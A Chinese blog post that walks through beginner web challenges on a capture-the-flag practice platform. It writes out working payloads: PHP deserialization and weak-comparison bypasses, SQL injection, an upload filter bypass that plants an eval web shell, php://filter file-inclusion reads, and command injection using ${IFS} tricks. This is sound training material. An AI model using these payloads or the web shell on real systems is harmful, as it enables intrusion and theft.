攻防世界web难度1

文章详细介绍了多个关于Web安全的练习题目,涉及PHP代码漏洞、URL编码绕过、序列化与反序列化的安全问题以及如何通过HTTP请求、源码查看、文件备份等方式找到并利用安全漏洞,如通过修改payload、利用特殊协议或编码方式绕过限制,以获取flag。
摘要由CSDN通过智能技术生成

目录

Training-WWW-Robots

PHP2

unserialize3

ics-06

view_source

get_post

robots

backup

disabled_button

weak_auth

simple_php

baby_web

inget

easyupload

fileinclude

fileclude

easyphp

file_include

unseping


Training-WWW-Robots

访问/robots.txt,发现存在fl0g.php,访问得到flag

PHP2

御剑扫描下目录,发现存在index.phps,访问得到源码

<?php

if("admin"===$_GET[id]) {

  echo("<p>not allowed!</p>");

  exit();

}


$_GET[id] = urldecode($_GET[id]);

if($_GET[id] == "admin")

{

  echo "<p>Access granted!</p>";

  echo "<p>Key: xxxxxxx </p>";

}

?>


Can you anthenticate to this website?

根据源码我们可知,需要传入一个id参数,使它的值不能直接等于admin,但是url解码后的值为admin

这时候考虑url二次编码绕过,因为浏览器本身会对你传入的参数进行一次url编码,所以需要用到二次编码

payload:?id=%2561%2564%256D%2569%256E

这里需要回到index.php中传参,而不是在index.phps

unserialize3

先介绍一下序列化和反序列化

序列化:对象的状态信息转换为可以存储或传输的形式的过程在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串。

反序列化:将字符串转换为状态信息。

可以简单的理解为编码和解码的关系:序列化是编码,反序列化是解码。

序列化后的内容一般为

对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

再介绍一下wakeup函数

__wakeup():使用unserialize时触发

也就是说在你反序列化时它会自动调用

在看下题目给的源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

当__wakeup函数被调用时就直接退出,所以我们应该想办法绕过__wakeup

对xctf类进行序列化,得到O:4:"xctf":1:{s:4:"flag";s:3:"111";}

要想绕过wakeup函数,只要让反序列化失败即可,这样就不会调用该魔术方法

所以可以修改O的值只要大等0就行,或者修改xctf的值大于1,也可以修改其他值

payload:

?code=O:0:"xctf":1:{s:1:"flag";s:3:"111";}

?code=O:4:"xctf":2:{s:1:"flag";s:3:"111";}

?code=O:4:"xctf":1:{s:2:"flag";s:3:"111";}

?code=O:4:"xctf":1:{s:1:"flag";s:4:"111";}

ics-06

一个个点发现只有报表中心能进去,还存在id参数

一开始以为是SQL注入,尝试一下发现不行,猜测可能是要我们爆破id

bp抓包发送到intruder模块,payload选择Number

发现id=2333的长度不对,猜测可能存在flag

访问一下得到flag

view_source

F12查看源代码

get_post

用hackbar传参即可

robots

访问/robots.txt,发现flag目录

访问一下得到flag

backup

常见网站的备份文件有:index.phps、www.zip、index.php.bak等

测试一下发现存在index.php.bak,下载得到flag

F12,网络查看cookie,发现提示

访问cookie.php,提示我们看http响应,F12,网络进行查看得到flag

disabled_button

F12查看源代码,发现存在disabled属性,该属性规定禁用input元素,使input元素既不可用也不可点击。直接将它删掉即可

删掉之后回车,按钮就可以点击了

weak_auth

bp抓包发送到intruder模块,因为不知道用户名所以选择Cluster bomb,

payload1设置账号字典,payload2设置密码字典开始爆破

得到密码123456,登录成功获得flag

simple_php

给了源码,如果a=0且a为真就输出flag1,如果b>1234且不为数字输出flag2

注意到这里是两个等号,即php的弱比较,只比较值,不比较类型

在php中,弱比较条件下,’a’==0,所以可以采用这种方法绕过

payload:?a=0a&b=12345a

baby_web

根据提示访问一下index.php,F12查看网络,发现存在index.php,不过被重定向到了1.php,在响应头中发现flag

inget

提示我们输入id并绕过它,这里猜是sql注入,这里测试一下是什么类型,结果发现不管输入什么都没有回显,尝试一下万能密码,成功绕过,也可以使用sqlmap进行注入

payload:?id=1' or 1=1 --+

easyupload

经过测试发现本题需要绕过的点有

检查文件内容中是否含有’php’

检查后缀中是否含有htaccess或ph

检查文件头和MIME

对于第一点可以采用php短标签绕过,如<?=phpinfo();?>

对于第二点可以通过上传.user.ini文件

php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。

对于第三点可以在上传文件头部添加图片文件头,在上传的时候修改Conten-Type

首先上传一个.user.ini文件,内容为:

GIF89a

auto_prepend_file=1.txt

在用bp抓包修改Content-Type为image/gif

再上传1.txt文件,内容为:

GIF89a

<?= @eval($_POST[‘a’]); ?>

蚁剑连接一下,得到flag

fileinclude

F12查看源代码,可以看到$lan等于cookie中language的值,如果$lan的值不为空就将$lan与.php进行拼接。所以这题的思路应该是将$lan的值赋值为flag

直接传入Cookie: language=flag发现没有回显,考虑到是文件包含,所以采用php伪协议

payload:Cookie: language=php://filter/convert.base64-encode/resource=flag

base64解码得到flag

fileclude

分析代码,用get方式传入file1和file2,如果$file2的值等于hello ctf,就包含$file1

题目已经告诉我们存在flag.php,所以应该将$file1赋值为flag.php

这题要同时用到php://input和php://filter两个协议

用php://input将file2的值赋值为hello ctf,再使用php://filter包含flag.php

payload:?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input

hello ctf(POST方式传入)

base64解码得到flag

easyphp

第一部分的比较

要使$a的值大于6000000且长度小等3,很明显可以采用科学计数法绕过,如?a=6e9

对于$b,要使它md5加密后的值的最后6位等于8b184b,这里只能一个个爆破

from hashlib import md5


def get_md5(screct):

    src=screct.encode('utf-8')

    md=md5(src).hexdigest()

    return md


for i in range(100000):

    s=str(i)

    md=get_md5(s)

    if(md[-6:]=='8b184b'):

        print(s)

        print(md)

最终得到b的值位53724

第二部分的比较

传入的c为json格式,其中m键的值要大于2022且m不是纯数字,所以可以让m的值等于2023a,n键要为数组,且其中元素数量为2,且数组第一个元素也应该为数组

最关键的部分在于绕过array_search这个函数,它要求n键中存在DGGJ,而下面又判断如果存在DGGJ就die

在php弱比较中字符串的值就等于0,所以只要使n里非零下标的元素中的值也为0即可

即c={"m":"2023a","n":[[0],0]}

最终payload:?a=6e9&b=53724&c={"m":"2023a","n":[[0],0]}

file_include

使用?filename=php://filter/convert.base64-encode/resource=./check.php读取文件发现失败,猜测可能针对编码方式进行了过滤。

了解到convert过滤器支持convert.a.b的用法,那么就可以将php支持的编码方式写入字典对其进行爆破

bp抓包发送到intruder模块,选择Cluster bomb,设置好payload进行攻击

最终测试得到这些结果都是可以的

猜测flag在flag.php里,构造payload

?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

unseping

分析一下代码,用post方式传入变量ctf,将ctf进行base64编码后再反序列化。

在调用时会先调用_wakeup(),然后调用waf()

在waf()函数中将|,&,;,空格,/,cat,flag,tac,php,ls都给过滤了

最后调用_destruct(),再调用ping()执行命令

构造payload

<?php


class ease{

private $method;

private $args;

function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

}

  

}

$a = new ease("ping",array('l""s'));

$b = serialize($a);

echo $b;

echo "\n";

echo base64_encode($b);

?>

用””的方法绕过过滤,得到base64编码过后的序列化值

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

发现存在flag_1s_here目录

<?php


class ease{

private $method;

private $args;

function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

}

  

}

$a = new ease("ping",array('l""s${IFS}fl""ag_1s_here'));

$b = serialize($a);

echo $b;

echo "\n";

echo base64_encode($b);

?>

采用${IFS}绕过空格

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsIiJhZ18xc19oZXJlIjt9fQ==

存在flag_831b69012c67b35f.php,可以执行cat flag_1s_here/flag_831b69012c67b35f.php来获取flag,但是/被过滤了,所以采用$(printf${IFS}"\57")来绕过

构造payload:

<?php


class ease{

private $method;

private $args;

function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

}

  

}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_*'));

$b = serialize($a);

echo $b;

echo "\n";

echo base64_encode($b);

?>

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo1MzoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXyoiO319

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值